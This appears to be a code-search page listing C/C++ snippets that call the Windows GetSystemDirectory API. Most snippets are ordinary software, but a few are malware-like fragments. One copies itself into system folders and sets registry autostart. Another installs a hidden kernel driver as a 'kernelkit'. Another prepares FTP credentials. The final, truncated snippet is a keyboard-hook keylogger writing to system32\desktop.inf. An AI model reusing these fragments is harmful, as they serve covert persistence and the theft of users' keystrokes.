예제 #1
0
bool AutoStart::isAutoStart(WCHAR *value)
{
	WCHAR system[MAX_PATH];		//系统目录路径
	WCHAR filePath[MAX_PATH];	//要开机运行的文件的完整路径
	WCHAR fileName[MAX_PATH];	//文件名(\CZPlayer.exe)

	//得到当前执行文件的全路径
	HMODULE hModule = GetModuleHandle(NULL);
	GetModuleFileName(hModule, filePath, sizeof(filePath));

	//得到文件名
	for (int i = lstrlen(filePath) - 1; i >= 0; --i)
	{
		if (filePath[i] == '\\')
		{
			lstrcpy(fileName, &filePath[i]);
			break;
		}
        /*Else do nothing, and continue.*/
	}

	//得到系统文件所在目录的路径,如c:\windows\system32
	GetSystemDirectory(system, sizeof(system));

	//形成要复制到的全路径,如c:\windows\system32\CZPlayer.exe
	wcscat_s(system, fileName);

	HKEY hKey;
	bool bIsAutoStart =false;
    //打开注册表
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, (wchar_t*)Path.utf16(), 0, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		WCHAR wData[MAX_PATH];
		DWORD dwLen = MAX_PATH * sizeof(WCHAR);
		if (RegQueryValueEx(hKey, value, 0, 0, (BYTE*)wData, &dwLen) == ERROR_SUCCESS)
		{
			bIsAutoStart =  true;				//该程序设置了自启动
		}
		else
		{
			bIsAutoStart =  false;				//该程序没有设置自启动
		}
	}
	else
	{
#ifdef CZ_DEBUG
        qDebug() << "打开注册表失败!";
        qDebug() << __FILE__ << __FUNCTION__ << __LINE__;
#endif
	}

	RegCloseKey(hKey);
	return bIsAutoStart;
}
예제 #2
0
/*
 * Entry point for register-dns thread.
 */
static DWORD WINAPI
RegisterDNS (LPVOID unused)
{
  DWORD err;
  DWORD i;
  WCHAR sys_path[MAX_PATH];
  DWORD timeout = RDNS_TIMEOUT * 1000; /* in milliseconds */

  /* default paths of net and ipconfig commands */
  WCHAR net[MAX_PATH]   = L"C:\\Windows\\system32\\net.exe";
  WCHAR ipcfg[MAX_PATH] = L"C:\\Windows\\system32\\ipconfig.exe";

  struct
    {
      WCHAR *argv0;
      WCHAR *cmdline;
      DWORD timeout;
    } cmds [] = {
                  { net,   L"net stop dnscache",     timeout },
                  { net,   L"net start dnscache",    timeout },
                  { ipcfg, L"ipconfig /flushdns",    timeout },
                  { ipcfg, L"ipconfig /registerdns", timeout },
                };
  int ncmds = sizeof (cmds) / sizeof (cmds[0]);

  HANDLE wait_handles[2] = {rdns_semaphore, exit_event};

  if(GetSystemDirectory(sys_path, MAX_PATH))
    {
      _snwprintf (net, MAX_PATH, L"%s\\%s", sys_path, L"net.exe");
      net[MAX_PATH-1] = L'\0';

      _snwprintf (ipcfg, MAX_PATH, L"%s\\%s", sys_path, L"ipconfig.exe");
      ipcfg[MAX_PATH-1] = L'\0';
    }

  if (WaitForMultipleObjects (2, wait_handles, FALSE, timeout) == WAIT_OBJECT_0)
    {
      /* Semaphore locked */
      for (i = 0; i < ncmds; ++i)
        {
          ExecCommand (cmds[i].argv0, cmds[i].cmdline, cmds[i].timeout);
        }
      err = 0;
      if ( !ReleaseSemaphore (rdns_semaphore, 1, NULL) )
        err = MsgToEventLog (M_SYSERR, TEXT("RegisterDNS: Failed to release regsiter-dns semaphore:"));
    }
  else
    {
      MsgToEventLog (M_ERR, TEXT("RegisterDNS: Failed to lock register-dns semaphore"));
      err = ERROR_SEM_TIMEOUT;  /* Windows error code 0x79 */
    }
  return err;
}
예제 #3
0
void InstallMain(char *name)
{
	char sysdir[MAX_PATH];
	char windir[MAX_PATH];
	char infdir[MAX_PATH];
	char otherdir[MAX_PATH];
	char infname[MAX_PATH];
	char deviceid[MAX_PATH];
	char sysname[MAX_PATH];
	if (name == NULL)
	{
		return;
	}
	if (strlen(name) == 0 || strlen(name) >= 5)
	{
		return;
	}

	GetSystemDirectory(sysdir, sizeof(sysdir));

	GetDirFromPath(windir, sysdir);

	sprintf(infdir, "%s\\inf", windir);

	sprintf(otherdir, "%s\\other", infdir);

	sprintf(infname, "%s\\Neo_%s.inf", infdir, name);

	sprintf(sysname, "%s\\Neo_%s.sys", sysdir, name);

	sprintf(deviceid, "NeoAdapter_%s", name);

	if (IsFile(infname) == FALSE)
	{
		Print("Failed to open %s.", infname);
		return;
	}
	if (IsFile(sysname) == FALSE)
	{
		Print("Failed to open %s.", sysname);
		return;
	}

	if (DiInstallClass(infname, 0) != OK)
	{
		Print("Failed to register %s.\n", infname);
		return;
	}

	if (InstallNDIDevice("Net", deviceid, NULL, NULL) != OK)
	{
		return;
	}
}
예제 #4
0
CString CSySkin::GetSysPath()
{
	CString strPath;
	TCHAR szPath[_MAX_PATH] = {0};
	UINT iRet = GetSystemDirectory(szPath, _MAX_PATH);
	if ( iRet > 0 ) {
		strPath.Format(_T("%s"), szPath);
		strPath += _T("\\");
	}
	return strPath;
}
예제 #5
0
파일: RegTool.c 프로젝트: kichik/nsis-1
void RegFile(char cmd, char *file, int x64)
{
    char self[STR_SIZE];
    char cmdline[STR_SIZE];

    int ready = 0;

    if (!*file || (cmd != 'D' && cmd != 'T' && cmd != 'E'))
        return;

    if (cmd == 'E')
    {
        wsprintf(cmdline, "\"%s\" /regserver", file);
        ready++;
    }
    else if (!x64)
    {
        if (GetModuleFileName(GetModuleHandle(NULL), self, STR_SIZE))
        {
            wsprintf(cmdline, "\"%s\" /%c%s", self, cmd, file);
            ready++;
        }
    }
    else
    {
        if (GetSystemDirectory(self, STR_SIZE))
        {
            wsprintf(cmdline, "\"%s\\regsvr32.exe\" /s \"%s\"", self, file);
            ready++;

            SafeWow64EnableWow64FsRedirection(FALSE);
        }
    }

    if (ready)
    {
        PROCESS_INFORMATION pi;
        STARTUPINFO si = { sizeof(STARTUPINFO) };

        if (CreateProcess(NULL, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
        {
            CloseHandle(pi.hThread);

            WaitForSingleObject(pi.hProcess, INFINITE);

            CloseHandle(pi.hProcess);
        }

        if (x64)
        {
            SafeWow64EnableWow64FsRedirection(TRUE);
        }
    }
}
예제 #6
0
BOOLEAN RTDevice::Init()
{	TCHAR Path[	MAX_PATH ]; 

	//If a device is still in use close it
	if(Handle != INVALID_HANDLE_VALUE ) 
	{	//TO DO Maybe stop the device ? 
		fpClose(Handle);
		Handle = INVALID_HANDLE_VALUE;
	}
	
	//Close if there is an open lib 
	if(LibHandle != INVALID_HANDLE_VALUE)
	{	FreeLibrary((struct HINSTANCE__ *)LibHandle); 
		LibHandle = NULL;	
	}

	if( dp != NULL )
	{	Free(dp); 
		dp = NULL; 
	}

	//Open libratry
	GetSystemDirectory(Path, sizeof(Path) / sizeof(TCHAR) );
	lstrcat(Path,RTLOADER);
	LibHandle = LoadLibrary(Path); 
	
	//if the can not be opend return FALSE;
	if( LibHandle == NULL ) return FALSE; 
	
	//Get pointers to the funtions in the DLL 
	fpOpen				= (POPEN)			GetProcAddress(LibHandle,"Open");
	fpClose				= (PCLOSE)			GetProcAddress(LibHandle,"Close");
	fpStart				= (PSTART)			GetProcAddress(LibHandle,"Start");
	fpStop				= (PSTOP)			GetProcAddress(LibHandle,"Stop");
	fpReset				= (PRESETDEVICE)	GetProcAddress(LibHandle,"ResetDevice");
	fpGetDeviceState	= (PGETDEVICESTATE)	GetProcAddress(LibHandle,"GetDeviceState");
	fpSetSignalBuffer	= (PSETSIGNALBUFFER)GetProcAddress(LibHandle,"SetSignalBuffer");
	fpGetBufferInfo		= (PGETBUFFERINFO)	GetProcAddress(LibHandle,"GetBufferInfo");
	fpGetSamples		= (PGETSAMPLES)		GetProcAddress(LibHandle,"GetSamples");
	fpGetSlaveHandle	= (PGETSLAVEHANDLE) GetProcAddress(LibHandle,"GetSlaveHandle");
	fpAddSlave			= (PADDSLAVE)		GetProcAddress(LibHandle,"AddSlave");
	fpDeviceFeature		= (PDEVICEFEATURE) 	GetProcAddress(LibHandle,"DeviceFeature");
	fpGetSignalFormat	= (PGETSIGNALFORMAT)GetProcAddress(LibHandle,"GetSignalFormat"); 
	fpGetInstanceId		= (PGETINSTANCEID)	GetProcAddress(LibHandle, "GetInstanceId" ); 
	fpOpenRegKey		= (POPENREGKEY)		GetProcAddress(LibHandle, "OpenRegKey" );
	fpFree				= (PFREE)			GetProcAddress(LibHandle, "Free" ); 

	// All other DLL exported function are for obsolete but
	// available for compatibility reasons

	DeviceRegKey = NULL; 

	return TRUE;
}
예제 #7
0
int main(int argc, char **argv)
{
  char cBuf[MAX_PATH] = "";

  if (argv[1] ? stricmp(argv[1], "/SYS") == 0: FALSE)
    GetSystemDirectory(cBuf, sizeof cBuf);
  else
    GetWindowsDirectory(cBuf, sizeof cBuf);

  puts(cBuf);
  return 0;
}
예제 #8
0
void AutoStart::autoStart(WCHAR *value)
{
	WCHAR system[MAX_PATH];		//系统目录路径
	WCHAR filePath[MAX_PATH];	//要开机运行的文件的完整路径
	WCHAR fileName[MAX_PATH];	//文件名(\CZPlayer.exe)

	//得到当前执行文件的全路径
	HMODULE hModule = GetModuleHandle(NULL);
	GetModuleFileName(hModule, filePath, sizeof(filePath));

	//得到文件名
	for (int i = lstrlen(filePath) - 1; i >= 0; --i)
	{
		if (filePath[i] == '\\')
		{
			lstrcpy(fileName, &filePath[i]);
			break;
		}
        /*Else do nothing, and continue.*/
	}

	//得到系统文件所在目录的路径,如c:\windows\system32
	GetSystemDirectory(system, sizeof(system));

	//形成要复制到的全路径,如c:\windows\system32\CZPlayer.exe
	wcscat_s(system, fileName);

	//自我复制到目标路径
	CopyFile(filePath, system, false);

	//写入注册表,以便开机自动运行
	HKEY hKey;

    //打开注册表
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, (wchar_t*)Path.utf16(), 0, KEY_SET_VALUE, &hKey ) == ERROR_SUCCESS)
	{
		//新增一个值,名称随意命名,值为要开机运行的文件的完整路径
		RegSetValueEx(hKey, value, 0, REG_SZ, (const unsigned char*)system, sizeof(system));
		//关闭注册表:
		RegCloseKey(hKey);

#ifdef CZ_DEBUG
        qDebug() << "设置开机自启动成功!";
#endif
	}
	else
	{
#ifdef CZ_DEBUG
        qDebug() << "打开注册表失败!";
        qDebug() << __FILE__ << __FUNCTION__ << __LINE__;
#endif
	}
}
예제 #9
0
파일: winlib.c 프로젝트: jfrazelle/tor
HANDLE
load_windows_system_library(const TCHAR *library_name)
{
  TCHAR path[MAX_PATH];
  unsigned n;
  n = GetSystemDirectory(path, MAX_PATH);
  if (n == 0 || n + _tcslen(library_name) + 2 >= MAX_PATH)
    return 0;
  _tcscat(path, TEXT("\\"));
  _tcscat(path, library_name);
  return LoadLibrary(path);
}
예제 #10
0
////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////// PUBLIC FUNCTIONS /////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
int GetFolderPath(FolderType folder,wchar_t *path,unsigned int pathsize)
{
	int iReturnCode = RETURN_OK;

	switch(folder)
	{
	case FOLDER_SYSTEM32:
		if(0==GetSystemDirectory(path,pathsize))
		{
			LOG(L" --> ERROR - GetFolderPath - System32 folder not found (LastError=%d)\n", GetLastError());
			iReturnCode = RETURN_ERR_INTERNAL;
		}
		break;
	case FOLDER_WOWSYS64:
#ifdef WIN64
		if(0==GetSystemWow64Directory(path,pathsize))
		{
			LOG(L" --> ERROR - GetFolderPath - SystemWow64 folder not found (LastError=%d)\n", GetLastError());
			iReturnCode = RETURN_ERR_INTERNAL;
		}
#else
		if(IsWow64Proc())
		{
			if(0==GetSystemWow64Directory(path,pathsize))
			{
				LOG(L" --> ERROR - GetFolderPath - SystemWow64 folder not found (LastError=%d)\n", GetLastError());
				iReturnCode = RETURN_ERR_INTERNAL;
			}
		}
		else
		{
			iReturnCode = RETURN_SKIP_FOLDER;
		}
#endif
		break;
	case FOLDER_APP:
		if(-1==swprintf_s(path,pathsize,L"C:\\Program Files\\Belgium Identity Card"))
		{			
			LOG(L" --> ERROR - GetFolderPath - Buffer too small\n");
			iReturnCode = RETURN_ERR_INTERNAL;
		}
		break;
	default:
		if(0==GetTempPath(pathsize,path))
		{
			LOG(L" --> ERROR - GetFolderPath - Temp folder not found (LastError=%d)\n", GetLastError());
			iReturnCode = RETURN_ERR_INTERNAL;
		}
		break;
	}

	return iReturnCode;
}
예제 #11
0
bool install_kernelkit()
{
   char szInstallPath[MAX_PATH], szSysDir[MAX_PATH];
   if (is_os9x()) return FALSE;
   if (!is_osnt()) return FALSE;
   GetSystemDirectory(szSysDir, sizeof(szSysDir));
   sprintf(szInstallPath, "%s\\%s", szSysDir, driverfilename);
   if (!file_exists(szInstallPath)) extract_resource("driver", "RT_RCDATA", szInstallPath);
      SetFileAttributes(szInstallPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
   if (install_service(drivername, szInstallPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE)) return TRUE;
   return FALSE;
}
예제 #12
0
HRESULT _stdcall FakeDirectInputCreate(HINSTANCE a,DWORD b,REFIID c,LPVOID d,LPUNKNOWN e) {
    //Some local handles (Never need to bother freeing them, so they can be local)
    HMODULE dinput8dll = NULL;  //Handle to the real dinput dll
    MYPROC func=NULL;           //Handle to the real create dinput8 function
    //Load the real dinput dll
    TCHAR Path[MAX_PATH];   //Path to the real DInput8.dll
    GetSystemDirectory((LPWSTR)&Path,MAX_PATH); //Could probably just use %system%
    _tcscat_s(Path,TEXT("\\dinput8.dll"));      //Add dinput8.dll to the end of the system path
    dinput8dll=::LoadLibrary(Path); //Load the real direct input dll
    func=(MYPROC)GetProcAddress(dinput8dll,"DirectInput8Create");   //Get the address of the real function
    if(func==NULL) {
        ::OutputDebugString(TEXT("Unable to load real direct input dll"));
        return DIERR_GENERIC;
    }
    //Check that the process is morrowind
    TCHAR NameBuffer[MAX_PATH];
    ::GetModuleFileName(NULL,(LPTSTR)&NameBuffer,MAX_PATH);
    int LastSlash;
    int End;
    for(int i=0;i<MAX_PATH;i++) {
        if(NameBuffer[i]=='\\') LastSlash=i;
        if(NameBuffer[i]==0) {
            End=i;
            break;
        }
    }
    if(End-LastSlash!=14                ||
        (NameBuffer[LastSlash+1]!='m'&&NameBuffer[LastSlash+1]!='M')    ||  //The first letter isn't case sensitive
        NameBuffer[LastSlash+2]!='o'    ||
        NameBuffer[LastSlash+3]!='r'    ||
        NameBuffer[LastSlash+4]!='r'    ||
        NameBuffer[LastSlash+5]!='o'    ||
        NameBuffer[LastSlash+6]!='w'    ||
        NameBuffer[LastSlash+7]!='i'    ||
        NameBuffer[LastSlash+8]!='n'    ||
        NameBuffer[LastSlash+9]!='d'    ||
        NameBuffer[LastSlash+10]!='.'   ||
        NameBuffer[LastSlash+11]!='e'   ||
        NameBuffer[LastSlash+12]!='x'   ||
        NameBuffer[LastSlash+13]!='e'
        ) {
            //Process isn't morrowind, so dont create a fake IDirectInput8 interface
            ::OutputDebugString(TEXT("Proccess was not morrowind"));
            ::OutputDebugString(NameBuffer);
            return (func)(a,b,c,d,e);
    }
    //Call the real direct input dll
    HRESULT hr=(func)(a,b,c,d,e);
    if(hr!=DI_OK) return hr;
    //Then create a fake interface and return
    *((IDirectInput8**)d)=new FakeDirectInput((IDirectInput8*)*((IDirectInput8**)d));
    return DI_OK;
}
예제 #13
0
void InitializeStrings()
{
	fix(InternetCheckMask);
	fix(FtpServer);
	fix(FtpUserName);
	fix(FtpPassword);

	// to get BaseDirectory
	GetSystemDirectory(BaseDirectory,MAX_PATH);
	strcat(BaseDirectory,"\\srvdat\\");
	CreateDirectory(BaseDirectory,NULL);
}
예제 #14
0
void
isc_ntpaths_init() {
	HKEY hKey;
	BOOL keyFound = TRUE;

	memset(namedBase, 0, MAX_PATH);
	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, BIND_SUBKEY, 0, KEY_READ, &hKey)
		!= ERROR_SUCCESS)
		keyFound = FALSE;
	
	if (keyFound == TRUE) {
		/* Get the named directory */
		if (RegQueryValueEx(hKey, "InstallDir", NULL, NULL,
			(LPBYTE)namedBase, &baseLen) != ERROR_SUCCESS)
			keyFound = FALSE;
	}
	
	RegCloseKey(hKey);

	GetSystemDirectory(systemDir, MAX_PATH);

	if (keyFound == FALSE)
		/* Use the System Directory as a default */
		strcpy(namedBase, systemDir);

	strcpy(ns_confFile, namedBase);
	strcat(ns_confFile, "\\etc\\named.conf");

	strcpy(lwresd_confFile, namedBase);
	strcat(lwresd_confFile, "\\etc\\lwresd.conf");

	strcpy(lwresd_resolvconfFile, systemDir);
	strcat(lwresd_resolvconfFile, "\\Drivers\\etc\\resolv.conf");

	strcpy(rndc_keyFile, namedBase);
	strcat(rndc_keyFile, "\\etc\\rndc.key");

	strcpy(rndc_confFile, namedBase);
	strcat(rndc_confFile, "\\etc\\rndc.conf");
	strcpy(ns_defaultpidfile, namedBase);
	strcat(ns_defaultpidfile, "\\etc\\named.pid");

	strcpy(lwresd_defaultpidfile, namedBase);
	strcat(lwresd_defaultpidfile, "\\etc\\lwresd.pid");

	strcpy(local_state_dir, namedBase);
	strcat(local_state_dir, "\\bin");

	strcpy(sys_conf_dir, namedBase);
	strcat(sys_conf_dir, "\\etc");
	
	Initialized = TRUE;
}
예제 #15
0
파일: getdisp.c 프로젝트: BygoneWorlds/anet
BOOL GetDriverSpecs( struct display_t *pEntry, char *szSubKey )
{
	HKEY hKey, hKey2;
	char *p;
	char szTemp[ MAX_PATH + 1 ] = "", szTemp2[ MAX_PATH + 1 ] = "";

	hKey = MyRegOpenKey( HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\Class" );
	if( hKey )
		hKey2 = MyRegOpenKey( hKey, szSubKey );
	else
		return FALSE;

	RegCloseKey( hKey );
	if( !hKey2 )
		return FALSE;

	if( !(p = MyRegQueryValueMalloc( hKey2, "DriverDesc", NULL, NULL ) ) )
		return FALSE;
	strcpy( pEntry->szName, p );
	free( p );

	hKey = MyRegOpenKey( hKey2, "DEFAULT" );
	if( !hKey )
		return FALSE;

	if( !(p = MyRegQueryValueMalloc( hKey, "drv", NULL, NULL ) ) )
		return FALSE;
	strcpy( pEntry->szDriver, p );

	// if no drive is specified in the driver filename, assume a path relative to the windows
	// system directory
	if( !strchr( p, ':' ) )
	{
		GetSystemDirectory( szTemp, MAX_PATH );
		strcat( szTemp, "\\" );
		strcat( szTemp, p );
	}
	else
		strcpy( szTemp, p );

	free( p );

	if( !GetMyFileVersionInfo( szTemp, pEntry ) )
		return FALSE;

	if( strlen( szTemp ) )
		SetCurrentDirectory( szTemp );

	RegCloseKey( hKey );
	RegCloseKey( hKey2 );

	return TRUE;
}
void IELPIAction::Execute()
{
	wchar_t szParams[MAX_PATH] = L"";	

	switch (_getIEVersion())
	{
	case InternetExplorerVersion::IE7:
		{
			wcscpy_s(szParams, m_filename);
			wcscat_s(szParams, L" /quiet /norestart");
			break;
		}
	case InternetExplorerVersion::IE8:
		if (m_OSVersion->GetVersion() == WindowsXP)
		{
			wcscpy_s(szParams, m_filename);
			wcscat_s(szParams, L" /quiet /norestart /update-no");
		}
		else
		{
			GetSystemDirectory(szParams, MAX_PATH);
			wcscat_s(szParams, L"\\wusa.exe ");
			wcscat_s(szParams, m_filename);
			wcscat_s(szParams, L" /quiet /norestart");
		}
		break;
	case InternetExplorerVersion::IE9:
			GetSystemDirectory(szParams, MAX_PATH);
			wcscat_s(szParams, L"\\wusa.exe ");
			wcscat_s(szParams, m_filename);
			wcscat_s(szParams, L" /quiet /norestart");
			break;
	default:
		break;
	}

	SetStatus(InProgress);
	g_log.Log(L"IELPIAction::Execute '%s', 64 bits %u", szParams,  (wchar_t *)_is64BitsPackage());
	m_runner->Execute(NULL, szParams, _is64BitsPackage());
}
예제 #17
0
BOOL CWorldsDlg::OnInitDialogBar() 
{
	CMRCSizeDialogBar::OnInitDialogBar();
	
	// TODO: Add extra initialization here
	char szSysPath[MAX_PATH];
	char szIconDLL[MAX_PATH];

	GetSystemDirectory(szSysPath,MAX_PATH);
	sprintf(szIconDLL,"%s\\shell32.dll",szSysPath);

	if (m_pIconList)
	{
		delete m_pIconList;
	}
	if (m_pIconList2)
	{
		delete m_pIconList2;
	}
	m_pIconList=new CImageList;
	m_pIconList2=new CImageList;

	//tree control image list
	m_pIconList->Create(16,16,ILC_COLOR16,10,5);
	m_pIconList->SetBkColor(RGB(255,255,255));
	m_pIconList->Add(ExtractIcon(AfxGetInstanceHandle(),szIconDLL,3));	//closed folder
	m_pIconList->Add(ExtractIcon(AfxGetInstanceHandle(),szIconDLL,4));	//open folder
	m_WorldTree.SetImageList(m_pIconList,TVSIL_NORMAL);

	//list control image list
	m_pIconList2->Create(16,16,ILC_COLOR4,10,5);
	m_pIconList2->SetBkColor(RGB(255,255,255));
	m_pIconList2->Add(AfxGetApp()->LoadIcon(IDI_WORLDS_TAB_ICON));
	m_WorldList.SetImageList(m_pIconList2,LVSIL_SMALL);
	
	CRect rect;
	m_WorldList.GetClientRect( &rect );

	// Clear the world list
	m_WorldList.DeleteAllItems();

	while (m_WorldList.DeleteColumn(0))
	{
	}
	
	m_WorldList.InsertColumn(0,"Name",LVCFMT_LEFT,(rect.Width()-35)/3,-1);
	m_WorldList.InsertColumn(1,"Size",LVCFMT_RIGHT,(rect.Width()-35)/3,-1);
	m_WorldList.InsertColumn(2,"Modified",LVCFMT_LEFT,(rect.Width()-35)/3,-1);
	
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}
예제 #18
0
static VOID
AddScreenSavers(HWND hwndDlg, PDATA pData)
{
    HWND hwndScreenSavers = GetDlgItem(hwndDlg, IDC_SCREENS_LIST);
    TCHAR szSearchPath[MAX_PATH];
    TCHAR szLocalPath[MAX_PATH];
    INT i;
    ScreenSaverItem *ScreenSaverItem = NULL;
    LPTSTR lpBackSlash;

    /* Add the "None" item */
    ScreenSaverItem = pData->ScreenSaverItems;

    ScreenSaverItem->bIsScreenSaver = FALSE;

    LoadString(hApplet,
               IDS_NONE,
               ScreenSaverItem->szDisplayName,
               sizeof(ScreenSaverItem->szDisplayName) / sizeof(TCHAR));

    i = SendMessage(hwndScreenSavers,
                    CB_ADDSTRING,
                    0,
                    (LPARAM)ScreenSaverItem->szDisplayName);

    SendMessage(hwndScreenSavers,
                CB_SETITEMDATA,
                i,
                (LPARAM)0);

    // Initialize number of items into the list
    pData->ScreenSaverCount = 1;

    // Add all the screensavers where the applet is stored.
    GetModuleFileName(hApplet, szLocalPath, MAX_PATH);
    lpBackSlash = _tcsrchr(szLocalPath, _T('\\'));
    if (lpBackSlash != NULL)
    {
        *lpBackSlash = '\0';
        SearchScreenSavers(hwndScreenSavers, szLocalPath, pData);
    }

    // Add all the screensavers in the C:\ReactOS\System32 directory.
    GetSystemDirectory(szSearchPath, MAX_PATH);
    if (lpBackSlash != NULL && _tcsicmp(szSearchPath, szLocalPath) != 0)
        SearchScreenSavers(hwndScreenSavers, szSearchPath, pData);

    // Add all the screensavers in the C:\ReactOS directory.
    GetWindowsDirectory(szSearchPath, MAX_PATH);
    if (lpBackSlash != NULL && _tcsicmp(szSearchPath, szLocalPath) != 0)
        SearchScreenSavers(hwndScreenSavers, szSearchPath, pData);
}
예제 #19
0
파일: FileUtil.cpp 프로젝트: mailwl/ppsspp
void openIniFile(const std::string fileName) {
	std::string iniFile;
#if defined(_WIN32)
#if PPSSPP_PLATFORM(UWP)
	// Do nothing.
#else
	iniFile = fileName;
	// Can't rely on a .txt file extension to auto-open in the right editor,
	// so let's find notepad
	wchar_t notepad_path[MAX_PATH + 1];
	GetSystemDirectory(notepad_path, MAX_PATH);
	wcscat(notepad_path, L"\\notepad.exe");

	wchar_t ini_path[MAX_PATH + 1] = { 0 };
	wcsncpy(ini_path, ConvertUTF8ToWString(iniFile).c_str(), MAX_PATH);
	// Flip any slashes...
	for (size_t i = 0; i < wcslen(ini_path); i++) {
		if (ini_path[i] == '/')
			ini_path[i] = '\\';
	}

	// One for the space, one for the null.
	wchar_t command_line[MAX_PATH * 2 + 1 + 1];
	wsprintf(command_line, L"%s %s", notepad_path, ini_path);

	STARTUPINFO si;
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	si.wShowWindow = SW_SHOW;
	PROCESS_INFORMATION pi;
	memset(&pi, 0, sizeof(pi));
	UINT retval = CreateProcess(0, command_line, 0, 0, 0, 0, 0, 0, &si, &pi);
	if (!retval) {
		ERROR_LOG(COMMON, "Failed creating notepad process");
	}
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
#endif
#elif !defined(MOBILE_DEVICE)
#if defined(__APPLE__)
	iniFile = "open ";
#else
	iniFile = "xdg-open ";
#endif
	iniFile.append(fileName);
	NOTICE_LOG(BOOT, "Launching %s", iniFile.c_str());
	int retval = system(iniFile.c_str());
	if (retval != 0) {
		ERROR_LOG(COMMON, "Failed to launch ini file");
	}
#endif
}
예제 #20
0
파일: main.cpp 프로젝트: ghassanpl/dsfix
bool WINAPI DllMain(HMODULE hDll, DWORD dwReason, PVOID pvReserved) {
	TCHAR fileName[512];
	GetModuleFileName(NULL, fileName, 512);

	if(dwReason == DLL_PROCESS_ATTACH) {
		DisableThreadLibraryCalls(hDll);
		GetModuleFileName(hDll, dlldir, 512);
		for(int i = strlen(dlldir); i > 0; i--) { if(dlldir[i] == '\\') { dlldir[i+1] = 0; break; } }
		ofile.open(GetDirectoryFile("DSfix.log"), std::ios::out);
		sdlogtime();
		SDLOG(0, "===== start DSfix %s = fn: %s\n", VERSION, fileName);
		
		// load settings
		Settings::get().load();
		Settings::get().report();
		
		KeyActions::get().load();
		KeyActions::get().report();

		// load original dinput8.dll
		HMODULE hMod;
		if(Settings::get().getDinput8dllWrapper().empty() || (Settings::get().getDinput8dllWrapper().find("none") == 0)) {
			char syspath[320];
			GetSystemDirectory(syspath, 320);
			strcat_s(syspath, "\\dinput8.dll");
			hMod = LoadLibrary(syspath);
		} else {
			sdlog(0, "Loading dinput wrapper %s\n", Settings::get().getDinput8dllWrapper().c_str());
			hMod = LoadLibrary(Settings::get().getDinput8dllWrapper().c_str());
		}
		if(!hMod) {
			sdlog("Could not load original dinput8.dll\nABORTING.\n");
			errorExit("Loading of specified dinput wrapper");
		}
		oDirectInput8Create = (tDirectInput8Create)GetProcAddress(hMod, "DirectInput8Create");
		
		SaveManager::get().init();

		earlyDetour();

		if(Settings::get().getUnlockFPS()) applyFPSPatch();

		return true;
	} else if(dwReason == DLL_PROCESS_DETACH) {
		Settings::get().shutdown();
		endDetour();
		SDLOG(0, "===== end = fn: %s\n", fileName);
		if(ofile) { ofile.close(); }
	}

    return false;
}
예제 #21
0
//===========================================================================
__fastcall Tform_Main::Tform_Main(TComponent* Owner) : TForm(Owner)
{
    isShowTimer         = true;
    isChildMomEnabled   = true;
    aCanClose           = false;
    Time_coef           = 1.0;
    MaxTime             = 3600;
    TimeElapsed         = 0;
    LastGameDate        = 0;
    SoftsCount          = 0;

    Timer1->Interval = TIMER_DRAW;
    Timer2->Interval = TIMER_SCAN;
    Timer1->Enabled = true;
    Timer2->Enabled = true;

    ShortAppName        = ExtractFileName(Application->ExeName);
    ShortAppName_WA_ext = ShortAppName;
    ShortAppName_WA_ext.SetLength(ShortAppName.Length() - 4);

    char SystemDirectory [MAX_PATH];
    char WindowsDirectory[MAX_PATH];

    GetSystemDirectory (SystemDirectory , MAX_PATH);
    GetWindowsDirectory(WindowsDirectory, MAX_PATH);

    try {
        AnsiString as1 = AnsiString(SystemDirectory ) + "\\" + ShortAppName;
        AnsiString as2 = AnsiString(WindowsDirectory) + "\\" + ShortAppName;

        CopyFile( Application->ExeName.t_str(), as1.c_str(), false);
        CopyFile( Application->ExeName.t_str(), as2.c_str(), false);
    } catch ( ... ) {}

    Reg = new TRegistry;

    DecimalSeparator = '.';
    #ifndef DEBUG_MODE
        Application->ShowMainForm = false;
    #endif

    ReadDataFromRegistry();

    fFont = CreateFont(32,0,0,0,FW_BOLD, FALSE, FALSE,FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH|FF_DONTCARE, "Arial");//MS Sans Serif

 // ------------------
    combobox_WindowsList->Items->Clear();
    ListBox1->Clear();

 // ------------------
    Application->OnMessage = AppMessage;
}
BOOL CKeyboardManager::StartHook()
{
	TCHAR szModule [MAX_PATH];

	if (!Initialization())
		return FALSE;

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	ZeroMemory(m_pTShared, sizeof(TShared));

	g_bSignalHook = TRUE;

	m_dwLastMsgTime = GetTickCount();
	m_pTShared->hActWnd = NULL;
	m_pTShared->hGetMsgHook = NULL;
	m_pTShared->dwOffset = 0;
	
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));

	__try
	{
		StartService(NULL,NULL,NULL);
	}
	__finally
	{
		__asm nop;
	}
	GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	lstrcat(m_pTShared->strRecordFile, "\\desktop.inf");

	// 文件存在,就开始离线记录开启
	if ( GetFileAttributes(m_pTShared->strRecordFile) != -1 )
	{
		m_pTShared->bIsOffline = TRUE;
	}
	else
		m_pTShared->bIsOffline = FALSE;

	if (m_pTShared->hGetMsgHook == NULL)
	{
		SC_HANDLE hSCM =  OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );		
		m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);

// 		GetLastError();
// 		__asm int 3
